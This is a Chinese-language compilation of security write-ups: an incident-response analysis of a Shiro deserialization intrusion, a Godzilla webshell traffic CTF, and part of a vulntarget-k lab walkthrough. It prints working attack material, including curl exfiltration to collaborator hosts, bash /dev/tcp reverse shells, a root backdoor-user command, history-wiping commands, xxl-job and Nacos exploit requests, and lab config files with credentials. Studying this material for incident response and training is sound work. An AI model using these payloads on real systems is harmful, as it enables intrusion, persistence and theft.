在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机
dns&&ip.src==192.168.0.211
流量不多,仔细查看翻阅,排除掉正常的域名地址,找到dnslog的地址
题目 | 答案 |
---|---|
根据流量包分析,提交攻击者反弹shell的地址和端口 | 192.168.0.251:8888 |
我们此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可
ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http
shiro的利用过程一般分为以下几个步骤,较为详细
此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位
我这是在过滤后结果最后流量中追踪的,复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具
蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载
当然也可以自行将以上流程逆推解密,拿到密钥,复制以上cookie中的值,看到解密文本
我们可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具
通过解码以上base64编码后,看到使用curl进行连接burpsuite的dnslog地址,然后去执行系统命令,此处burp地址方便本地查看结果,通过以上信息看到反弹的shell地址
题目 | 答案 |
---|---|
攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径 | /opt/.f/.s/.c/.a/.n |
因为是反弹shell,所以在流量包处直接按照以下条件过滤即可
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888
在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件
grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选
上图中看到,流量包中也存在明文,有些师傅可能会纳闷,为什么流量包内会携带呢,我们再去看流量包
在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1
根据标志位进行过滤相应的流量包,然后查看明文操作
至此可以明白流量传输的过程和寻找fscan存放的位置
题目 | 答案 |
---|---|
另类方法:提交此fscan工具的MD5值 | b8053bcd04ce9d7d19c7f36830a9f26b |
有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具)
find / -type f -exec md5sum {} \;
这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死
继续对命令进行优化,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5
find / -type f -executable -exec md5sum {} \;>1.txt
此处我对所有可执行文件的MD5进行输出到1.txt文件,然后接着对原fscan的MD5进行对比
有些师傅会问,我这要MD5有啥用啊,我们首先要知道,每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份,如直接使用刚刚的MD5去微步查看到是fscan工具
题目 | 答案 |
---|---|
攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址 | http://zhoudinb.com:12345/qxwc.sh |
当然了,我们可以继续查看流量包,明文看到攻击者的操作,排除掉流量包,我们使用主机如何去查呢
计划任务可以看到,每10分钟执行.qxwc.sh,至于为什么直接这样,这是攻击者做计划任务的一个常规手段,属于一个细节上的地方,这一块主要是考虑到计划任务的配置排查
题目 | 答案 |
---|---|
攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径 | /home/security/upload/.CCC/.happy.sh |
排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名
ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7
使用以上命令可以按照最后改变时间进行排序,从下往上看可疑文件
看到有happy.service疑似非系统自带任务,查看后确认为恶意文件,接着查看相应文件,并确认绝对路径
题目 | 答案 |
---|---|
攻击者创建了一个隐藏用户,提交此用户的用户名 | xj1zhoudi@kali |
cat /etc/passwd |grep bash
通过以上命令查看到只有两个用户拥有登录权限
确认shadow文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id_rsa.pub看到可疑用户名
所做的操作,在反弹shell端口中都是明文操作,通过流量包过滤,可看到明文流量(因为传输过程没有加密)
攻:渗透阶段
- 信息收集阶段
攻击者首先使用移动IP192.168.0.223对目标主机使用nmap进行了全端口扫描,并获取到开放的三个端口
而后攻击者使用dirsearch和其它目录攻击扫描对应的web端口目录文件
经过简单的进行了前期收集扫描,没有扫到有用的文件,但是已知开放了的WEB端口,后因为攻击者被IPS和WAF识别出,进行了封禁
而后攻击者更换IP使用漏扫攻击,专项对相应WEB端口进行漏洞扫描攻击,IP地址为192.168.0.200
经过扫描,攻击者得到9988端口存在spring boot actuator模块
经过此次漏洞扫描,攻击者获取到了相应的未授权访问漏洞,后续又被IPS和WAF进行识别并加黑IP
攻击者开始针对于业务站点12333端口,已知存在shiro框架,更换IP192.168.0.226进行爆破shiro密钥
2. 漏洞利用阶段
但是奈何此IP动作太大,后续被流量监测封禁,攻击者继续更换IP192.168.0.242且下载9988端口下的heapdump文件获取敏感信息shiro-key且得到几个弱口令
而后,攻击者使用CommonsBeanutils1链进行攻击,进行DNSlog出网探测
而后攻击者构造payload进行命令注入、反弹shell攻击
curl --connect-timeout 3 http://301m1dvwq05pbbjg28i9s152itojc8.burpcollaborator.net/2/ -d data=$((whoami)|base64 -w 0)
对以上payload进行base64编码,然后在构造一个解码的payload进行shiro反序列化攻击,从而执行命令
bash -c {echo,Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly8zMDFtMWR2d3EwNXBiYmpnMjhpOXMxNTJpdG9qYzguYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKCh3aG9hbWkpfGJhc2U2NCAtdyAwKQ==}|{base64,-d}|{bash,-i}
经过执行后,攻击流量会通过反序列化成功后进行命令执行,执行curl(burp suite)生成的dnslog地址,发送请求,连带后面的命令执行payload回传给dnslog地址,在burp中可以看到,首先走了DNS流量,然后走了HTTP流量,在POST包的data中解码看到当前使用的用户(运行若依的用户)
将以上payload进行改动,whoami命令改为反弹shell命令继续执行,192.168.0.251做为跳板机监听相应端口
curl --connect-timeout 3 http://onf7oyihdlsayw61pt5ufmsn5eb5zu.burpcollaborator.net/2/ -d data=$((bash -i >& /dev/tcp/192.168.0.251/8888 0>&1)|base64 -w 0)
经过再次编码后可以看到上线目标主机上线跳板机8888端口成功
3. 权限维持阶段
攻击者上线目标主机后需要进行权限维持或横向漏洞扫描,在/opt/.f/.s/.c/.a/n目录下放置了fscan工具并改名,进行漏洞扫描,获取到了一台永恒之蓝机器
然后在/opt/.Abc/.qxwc.sh创建权限维持脚本(此处模拟),并创建定时计划任务
接着创建开启自启动计划任务,并继续下载权限维持脚本,以防止被删除原脚本
然后在本地生成一个用户公私钥,上传公钥到目标主机,后续继续连接,称为用户权限维持(模拟-此处不在复现,直接看流量包即可)
0x03 总结
IP | 排查攻击思路 |
---|---|
192.168.0.223 | 端口扫描+文件目录扫描 |
192.168.0.200 | 针对WEB端口漏洞扫描 |
192.168.0.226 | 爆破shiro密钥 |
192.168.0.242 | 目的明确、获取敏感信息+利用漏洞成功 |
192.168.0.251 | 跳板机、反弹shell地址 |
本次思路按照之前行业攻防应急响应前期应急响应经验+本人人为经验进行综合整理归纳,如有不妥之处请指出,本篇文章主要以符合现实角度去理解在单机应急响应下的思路排查,不作为所有环境思路,欢迎各位师傅指导
哥斯拉ekp版本流量分析
1、黑客上传的木马文件名是什么?
流量分析,PUT方法的请求包很显眼,检查内容确定webshell的文件名
flag{.index.jsp}
2、黑客上传的木马连接密码是什么?
flag{mypass}
3、黑客上传的木马连接密钥是什么?
flag{9adbe0b3033881f8}
4、黑客连接webshell后执行的第一条命令是什么?
String xc = "9adbe0b3033881f8"; String pass = "mypass"; String md5 = md5(pass + xc);
echo -n mypass9adbe0b3033881f8 | md5sum = c106ebc2340909ffc3e4086abe645680
md5.substring(0, 5) = c106e
base64解码两次
根据哥斯拉二开的特征组装一下流程
Comment('解码请求包')
URL_Decode()
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
Comment('解码响应包')
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
wireshark可以导出全部http包,一个一个检查.index.jsp
dnVMRU9ld0NDRzg1L3NMd0pKVjI3Sit3WEhUc2E0M21MU0JUMFAvTW96U0dyS280RHRGTmROdHFNMUdXNDhWcFl5c2dEeXo5RS9ZTVh0RG1QM1doZkYyT3Ric2p3L0JaM0VXUEpBVTJTenNpQ1FDVWtJbnZBMEVwSmdZS2JkdUIxbE9ORFZENUlMd1hSc2Jpb3lCQ2JxUXRiSlA4UVc5NTBBYzZFM1ZlYk02YU92VmtXdDZiV3dXZ1FyTVV6RHdIN2hzYkFpcUZ6T3RFR2Z6QklDc2FhZHlyeFp0WTg3NXV1bFY4UmhMTjBRcz0%3D
sh -c "cd "/";cat /etc/passwd" 2>&1arg-3
flag{cat /etc/passwd}
5、这个木马是根据哪个参数进行回显的?(提交参数名)
流量分析和代码分析
flag{Rec106e_config}
6、黑客留下后门的反连的IP和PORT是什么?(flag{IP,PORT})
流量分析
ZFg1YzlFQmZ1UjM2SVNXL3RuZTd6alk1Zjk1UTNoLzBza3hDeCs4R2h2Vkc0b3AyQVk3bXVlZzUvdGw5VlVtNlYzWTRjYUpJQjV5a3MzVlRSUXd5NmJwRGkrU1ZXOXU1SUVVU2lUVjNYT1U2VGFuVUdxWThmdjEwbTREemlBVWtnaFZDMUxqSmlXZGRvUTlMb1VUblhrYnl3WW93dnYwYTJLcXQ3Ujc0WjU5eVNMNlhSQ1dkZG9MMEh5NndEbXBiZDI0YnlHd1NDNW43VEJMcnRrQnpBUGp0VGhDN1lxejRQNUtFQmhHUmo0U0V1T3Boc2M5ZnkwWTQ5N1hyOUw5L3QzL1FBNU5KQ3pwSERycGlDMi9RQnptTDF1TDl0RldINHRUY21GbmVlNW4rRzlzYjRhOGtnalZubXlrc3BBOWk%3D
解码流量
sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash" 2>&1arg-3
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==
base64解码
/bin/bash -i >& /dev/tcp/192.168.31.205/4444 0>&1
flag{192.168.31.205,4444}
7、黑客通过后门反连执行的第一条命令是什么?
浏览分析,排查4444端口的tcp流量
flag{ls}
8、黑客新增的后门用户名密码是什么?(提交flag{username,password})
浏览分析,排查4444端口的tcp流量
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
useradd -p openssl passwd -1 -salt 'salt' Xj@666. x -o -u 0 -g root -G root -s /bin/bash
flag{x,Xj@666.}
9、黑客新增的后门文件是什么?(提交完整路径)
- 可根据攻击者上传的文件的创建时间范围搜索一个范围内的文件,然后一个个排查
在刚登录的一段时间内,检查进程信息,亦可看到进程里面有 bash -c /bin/bash -i >& /dev/tcp/192.168.31.200/4444 0>&1的反连命令在运行,然后使用grep查找也可以发现后门文件的路径
grep '192.168.31.200' -iR /etc/*
排查思路是检查如TCP_Wrappers等常见权限维持的路径、文件
flag{/etc/hosts.allow}
10、黑客的后门公钥是什么?(提交公钥的md5值)
放了两条,在 /root/.bash_h1story/.keys 和 /root/.ssh/authorized_keys
flag{d7bf0e27d6f533604250faceb28b6d4b}
11、黑客注入的内存马代理是那种类型的?(如flag{frp})
流量分析结合代码分析,有一段runuseragent的调用,根据使用user-agent这一特征,通过网络搜索确定内存马代理类型为 Suo5
flag{Suo5}
12、这个代理的路径是什么?(如flag{/frp})
流量分析结合代码分析
flag{/connect}
13、这个代理的连接密码是什么?(将得到的密码md5后作为flag提交)
流量分析结合代码分析,有一段runuseragent的调用
echo -n 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3' | md5sum
flag{e3c77fd790af8d25fe271cd275eb405e}
14、黑客扫描了哪个ip的哪些端口?(端口按照文本顺序提交即可 如:flag{ip,21,22,23})
流量分析,检查请求包,根据发送判断执行了之前请求的paylad
U1BOQVh5a2FSM2s5ZS80UVFLdUFHNTZhczJjMVRwcE41eWdJdGtDaVMwYlU5YnhlaXg1NTM4c0l4VE1wZnRDUXhMbitxblQySGxsS1o5SERnK1huanYzdEpnS3RhYVVBUmtjR0Q3Yml4ajRRTkRpZWZSVmVUcUxhVWlmU0hTYWNKSzkzYjFHN1p2YkJTejhpdWtpSFFkMVlRcUZwbDdpWFpybFBCOStDRkhGRjQ2RXV0T1dPYVM4VGR3eXlRTU12TWVlV0prMTBWNjBNT0pSakNpQldOUT09
127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222
flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}
15、黑客扫描到开放的端口有哪些?(端口从小到大排序提交 如:flag{21,22,23})'
流量分析,检查响应包
O0pxNnI7RBLmTfxrZXBrd1hPUptIuxNFvFA0fwK3H6tpwnz3L//0O5GRj/NMw8O+Ve0PQGfQQGLSAWkVLE1AB9EV0bTKEBBhx/vVcCW6STm7yr2TwRZZHhMn5g3vJvX1
127.0.0.18730 127.0.0.133060 127.0.0.180800 127.0.0.1810 127.0.0.180811 127.0.0.1220 127.0.0.1880 127.0.0.180880 127.0.0.14450 127.0.0.14430 127.0.0.114330 127.0.0.188880 127.0.0.1210 127.0.0.1800 127.0.0.12221 127.0.0.133890
flag{222,8081}
参考资料
应急响应-vulntarget-k
xxl-job-admin未授权RCE/后台RCE、nacos未授权、springcloudgateway RCE、redis、内网流量代理
下载地址:
链接:
https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg
提取码: 2dwq
其中vulntarget-k是本次环境
github地址:
https://github.com/crow821/vulntarget
测试说明:
1. 镜像都是基于**VM16.x做的**
2. 操作人员自行修改对应IP\3. 下载靶机,开机之后,确认自己网络配置好了,可以选择本地做一个快照,原本的快照可能会因为制作靶机的处理器和当前打开靶机的处理器不一致,导致快照恢复失败,或者异常(见谅)
网络拓扑
01外网-xxl-job
1.1 外网打点
配置好网络之后,外网IP为:10.30.7.106
直接访问,连接被拒绝,80端口未开放
nmap扫描其开放端口,检查全端口的开放情况
┌──(rooteval)-[~]└─# nmap -v -sS -Pn -p- 10.30.7.106Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 15:06 CSTInitiating ARP Ping Scan at 15:06Scanning 10.30.7.106 [1 port]Completed ARP Ping Scan at 15:06, 0.10s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 15:06Completed Parallel DNS resolution of 1 host. at 15:06, 0.04s elapsedInitiating SYN Stealth Scan at 15:06Scanning 10.30.7.106 [65535 ports]Discovered open port 8080/tcp on 10.30.7.106Discovered open port 22/tcp on 10.30.7.106Discovered open port 8081/tcp on 10.30.7.106Discovered open port 9999/tcp on 10.30.7.106Completed SYN Stealth Scan at 15:07, 13.57s elapsed (65535 total ports)Nmap scan report for 10.30.7.106Host is up (0.00084s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh8080/tcp open http-proxy8081/tcp open blackice-icecap9999/tcp open abyssMAC Address: 00:0C:29:50:FE:AC (VMware)
Read data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 14.16 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
发现就开了4个端口,22,8080,8081,9999
同时也使用fscan扫描,没有检测出漏洞和特征
./fscan -h 10.30.7.106 -np -p 1-65535
其中22端口为ssh的连接端口,暂时不考虑爆破,先从web端口入手试试
分别访问三个web端口试试
8080端口,404没有内容,源码里面也没有信息
dirsearch扫描目录:python3 dirsearch.py -u http://10.30.7.106:8080
,没有扫描到目录
暂时线索断了,看看其他端口(xxl-job-admin这个目录建议放到自己的扫描器字典里面)
8081端口:
http://10.30.7.106:8081
报错页面,同样尝试扫描其目录,同样没有信息
9999端口:
http://10.30.7.106:9999/
500的报错页面,将其端口和报错内容放到搜索引擎中搜索
1.2 xxl-job-execute未授权rce
根据搜索的信息,发现9999端口是xxl-job的,且存在未授权RCE,可用exp如下:
POST /run HTTP/1.1Host: your-ip:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 365
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0}
hackbar发一个反弹shell的包试试
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "bash -c 'exec bash -i &>/dev/tcp/10.30.7.77/7777 <&1'", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0}
成功收到shell
得到root权限,做一个交互式shell,查看history记录,没有记录。
先将自己的后续执行命令给隐藏起来,执行以下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
在该目录下发现有两个jar包,xxl-job-executor-sample-springboot-2.2.0.jar是未授权启动的web服务,另一个应该是8080端口的xxl-job-admin的包。
查看开机启动服务
systemctl list-unit-files --type=service|grep enabled
root@vulntarget-k:/home/xxl-job/xxl-jar# systemctl list-unit-files --type=service|grep enabled<stemctl list-unit-files --type=service|grep enabledaccounts-daemon.service enabled apparmor.service enabled atd.service enabled autovt@.service enabled blk-availability.service enabled cloud-config.service enabled cloud-final.service enabled cloud-init-local.service enabled cloud-init.service enabled console-setup.service enabled cron.service enabled dbus-org.freedesktop.resolve1.service enabled dbus-org.freedesktop.thermald.service enabled ebtables.service enabled getty@.service enabled irqbalance.service enabled iscsi.service enabled keyboard-setup.service enabled lvm2-monitor.service enabled lxcfs.service enabled lxd-containers.service enabled mysql.service enabled networkd-dispatcher.service enabled ondemand.service enabled open-iscsi.service enabled open-vm-tools.service enabled pollinate.service enabled rsync.service enabled rsyslog.service enabled setvtrgb.service enabled snapd.aa-prompt-listener.service enabled snapd.apparmor.service enabled snapd.autoimport.service enabled snapd.core-fixup.service enabled snapd.recovery-chooser-trigger.service enabled snapd.seeded.service enabled snapd.service enabled snapd.system-shutdown.service enabled ssh.service enabled sshd.service enabled syslog.service enabled systemd-fsck-root.service enabled-runtimesystemd-networkd-wait-online.service enabled systemd-networkd.service enabled systemd-resolved.service enabled systemd-timesyncd.service enabled thermald.service enabled ua-reboot-cmds.service enabled ufw.service enabled unattended-upgrades.service enabled ureadahead.service enabled vgauth.service enabled vmtoolsd.service enabled xxl-job-8080.service enabled xxl-job-9999.service enabled
为了方便执行命令,弄了交互式的shell
$python3 -c 'import pty; pty.spawn("/bin/bash")'$export SHELL=bash$export TERM=xterm-256colorCtrl-Z$ stty raw -echo;fg$ reset(回车)
1.3 xxl-job-admin后台rce
根据9999端口xxl-job-execute获取的shell分析,可以发现还存在另一个web程序,xxl-job-admin后台的默认地址为:/xxl-job-admin
8080端口跟上路径成功访问到:
http://10.30.7.106:8080/xxl-job-admin/toLogin
使用默认账密登录失败,想爆破,发现有点卡,就放弃了
尝试将jar包下载下来反编译看看
python3 -m http.server 8000
这里直接解压或者反编译都可以,反编译用的jadx
直接解压之后的目录结构
在目录下会有一个配置文件:xxl-job-admin-2.2.0\BOOT-INF\classes\application.properties
可以看到数据库的账号密码
xxl-job-admin配置的是强口令,无法直接爆破,或者在未授权RCE之后连接到数据库读取密码,或者添加密码
这里可以得到xxl-job-admin后台的密码,MD5解密失败
新增一个即可
printf("hello world!");
新增密码为123456
进入后台之后,在任务管理出可以做计划任务,填好必填项,运行模式为shell,保存
保存之后,操作->GLUE IDE
重新编辑命令为:
#!/bin/bashbash -c 'exec bash -i &>/dev/tcp/10.30.7.77/8888 <&1'
保存,回来之后点击执行一次
大概率会失败,具体的配置原因不知,执行器地址为空,调度失败
已经进入后台,所以可以为所欲为,配置一下就好,修改为本机ip。在攻防计划任务里面编辑
修改机器地址为本机的9999:
http://10.30.7.106:9999/
(至于为什么是这个暂时没有研究)
修改好之后,重新去执行命令,重改监听端口为8888
重新执行即可获取到shell
1.4 内网信息收集
获取外网主机权限之后,查看ip时发现还存在内网地址,地址为:192.168.100.20
在root目录下,存放有一个flag
上fscan扫描内网信息
上传之后赋权限执行:./fscan -h 192.168.100.1/24 -np
root@vulntarget-k:/root# ./fscan -h 192.168.100.1/24 -np
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1start infoscan192.168.100.20:22 open192.168.100.50:22 open192.168.100.1:135 open192.168.100.1:139 open192.168.100.1:445 open192.168.100.20:8080 open192.168.100.1:7680 open192.168.100.20:8081 open192.168.100.50:8800 open192.168.100.50:8848 open192.168.100.20:9999 open[*] alive ports len is: 11start vulscan[*] WebTitle:http://192.168.100.20:8080 code:404 len:431 title:HTTP Status 404 – Not Found[*] 192.168.100.1 WORKGROUP\MORTALS [*] WebTitle:http://192.168.100.20:8081 code:404 len:121 title:None[*] WebTitle:http://192.168.100.20:9999 code:200 len:61 title:None[+] NetInfo:[*]192.168.100.1 [->]mortals [->]10.30.2.1 [->]192.168.100.1 [->]10.30.2.83 [->]172.25.16.1 [->]192.168.88.1[*] WebTitle:http://192.168.100.50:8848 code:404 len:431 title:HTTP Status 404 – Not Found[*] WebTitle:http://192.168.100.50:8800 code:503 len:124 title:None[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos [+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass [+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 [+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file [+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2已完成 9/11 [-] ssh 192.168.100.20:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 admin admin@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.20:22 admin Aa12345 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 11/11
内网存在nacos和springboot,且存在漏洞。既然存在漏洞的话,那就上代理打就行。
1.5 frp代理
kaili作为攻击机开启服务端
受害机frpc客户端的配置如下:
[common]server_addr = 10.30.7.77server_port = 7777
[socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5
受害机上执行
./frpc -c frpc.ini
kali上执行
./frps -c frps.ini
成功代理流量。
02 内网nacos
2.1 nacos未授权
代理之后,访问地址:
http://192.168.100.50:8848/nacos/#/login
使用默认账号密码nacos/nacos登录失败,不过根据扫描出来的信息知道这里的nacos存在未授权漏洞,可以任意添加用户。
配置好proxychains,执行以下命令添加用户:
proxychains curl -XPOST 'http://192.168.100.50:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
成功添加用户,登录即可
存在一些配置文件
gateway
spring: cloud: gateway: routes: - id: index uri: lb://product-server predicates: - Method=GET
admin-api
# 项目相关配置admin-api: # access_key_id 你的亚马逊S3服务器访问密钥ID accessKey: AAAZKIAWTRDCOOZNINALPHDWN # secret_key 你的亚马逊S3服务器访问密钥 secretKey: LAX2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亚马逊S3服务器创建的桶名 bucketName: kefu-test-env # bucketname 你的亚马逊S3服务器创建的桶名 regionsName: ap-east-1 # questionPicture 问题类型图片上传文件夹名称 questionPicture: questionFolder # chatPicture 聊天图片上传文件夹名称 chatPicture: chatFolder # rechargePicture 代客充值图片上传文件夹名称 rechargePicture: rechargeFolder # 获取ip地址开关 addressEnabled: true # 中后台的地址 url: http://localhost # 中后台API地址 seektopserUrl: http://localhost/api/partner/user/info/base # 中后台API请求APPID seektopAppId: A9AA30D1D30F459VS7B83C054B3EAD770D # 中后台API请求密钥 seektopSecretKey: yT2BivSJLCR4lHb8SzhNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服关闭会话配置时间 closeChannelTime: 3 # redis-task服务请求地址 redisTaskUrl: http://localhost:8586 im: server: url: https://localhost:9507 secret: ^look^
server: port: 8500 servlet: context-path: /api
#配置数据源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
main: allow-bean-definition-overriding: true
jpa: hibernate: # 生产环境设置成 none,避免程序运行时自动更新数据库结构 ddl-auto: none
redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000
elasticsearch: nodes: es.localhost:9200
# 多数据源配置gt: root: boot: #主动开启多数据源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%!
#jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key
#是否允许生成代码,生产环境设置为falsegenerator: enabled: false
#是否开启 swagger-uiswagger: enabled: true
# 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5
#七牛云qiniu: # 文件大小 /M max-size: 15
#邮箱验证码有效时间/分钟code: expiration: 5
#登录图形验证码有效时间/分钟loginCode: expiration: 2
# sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl
task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50
#将该工程应用名称添加到计量器注册表的 tag 中#开启 Actuator 服务management: endpoints: web: exposure: include: '*' metrics: tags: application: admin-api
xxl-JOB
server: port: 8080 servlet: context-path: /xxl-job-admin
management: server: servlet: context-path: /actuator health: mail: enabled: false
spring: mvc: servlet: load-on-startup: 0 static-path-pattern: /static/** resources: static-locations: classpath:/static/ freemarker: templateLoaderPath: classpath:/templates/ suffix: .ftl charset: UTF-8 request-context-attribute: request settings: number_format: 0.##########
datasource: url: jdbc:mysql://127.0.0.1:3306/xxl-job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai username: root password: root_pwd driver-class-name: com.mysql.cj.jdbc.Driver type: com.zaxxer.hikari.HikariDataSource hikari: minimum-idle: 10 maximum-pool-size: 30 auto-commit: true idle-timeout: 30000 pool-name: HikariCP max-lifetime: 900000 connection-timeout: 10000 connection-test-query: SELECT 1 mail: host: smtp.qq.com port: 25 username: xxx@qq.com from: xxx@qq.com password: xxx properties: mail: smtp: auth: true starttls: enable: true required: true socketFactory: class: javax.net.ssl.SSLSocketFactory
mybatis: mapper-locations: classpath:/mybatis-mapper/*Mapper.xml
xxl: job: accessToken: X336qlhSuYz2Nshk i18n: zh_CN triggerpool: fast: max: 200 slow: max: 100
logretentiondays: 5
domain-service
